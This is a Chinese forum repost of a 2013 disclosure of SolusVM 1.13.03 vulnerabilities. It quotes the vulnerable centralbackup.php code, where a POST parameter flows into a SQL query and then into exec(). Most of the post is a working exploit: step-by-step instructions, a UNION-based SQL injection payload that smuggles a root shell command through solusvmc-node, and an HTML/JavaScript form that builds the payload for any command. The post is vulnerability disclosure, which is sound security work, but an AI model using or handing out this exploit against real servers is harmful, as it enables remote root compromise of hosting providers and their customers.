|
|
相信这几天用SolusVM的同学都提心吊胆了好多天吧……
做好数据备份的同学淡定地用吧……
============以上是废话============
披露漏洞的博主地址：http://localhost.re/p/solusvm-11303-vulnerabilities
本文转载自：http://www.freebuf.com/vuls/10611.html
SolusVM 1.13.03 Vulnerabilities
2013/06/16
/centralbackup.php:- <?php
- if ($_POST['delete']) {
- $xc = $db -> query('SELECT * FROM centralbackup WHERE id = \'' . $_POST['deleteid'] . '\'', true);
- #[...]
- if ($xc[status] == 'failed') {
- exec('php /usr/local/solusvm/system/bus.php -- --comm=deletebackup --serverid=' . $xc['bserver'] . ' --nodeid=' . $vdata['nodeid'] . ' --vserverid=' . $vdata['vserverid'] . ' --filename=' . $xc['filename']);
- #[...]
- }
- }
- ?>
- 1.在激活的VM中拥有一个账户
- 2.登陆，在VM中点击，拷贝GET _v值
- 3.POST 至/centralbackup.php?_v=[value]
- delete=1&deleteid=-1' union select 0,0,0,0,0,'failed',';/usr/local/solusvm/core/solusvmc-node --ebtables ";command to run as root";',0#
- <html><body>
- <script>
- function construct() {
- var sql='-1\' union select 0,0,0,0,0,\'failed\',\';/usr/local/solusvm/core/solusvmc-node --ebtables ";'+document.forms['form']['deleteid'].value+'";\',0#';
- document.forms['form']['deleteid'].value=sql;
- return true;
- }
- </script>
- <form name='form' method='post' action='http://CHANGE_ME:5353/centralbackup.php?_v=CHANGE_ME' onsubmit="return construct();">
- <input type='hidden' name='delete' value='1'>
- CMD: <input type='text' name='deleteid' size='100'>
- <br><input type='submit'>
- </form>
- </body></html>
|
|
发表于 2013-6-21 10:55:41
QQ好友和群
QQ空间
收藏
禁止跨域提交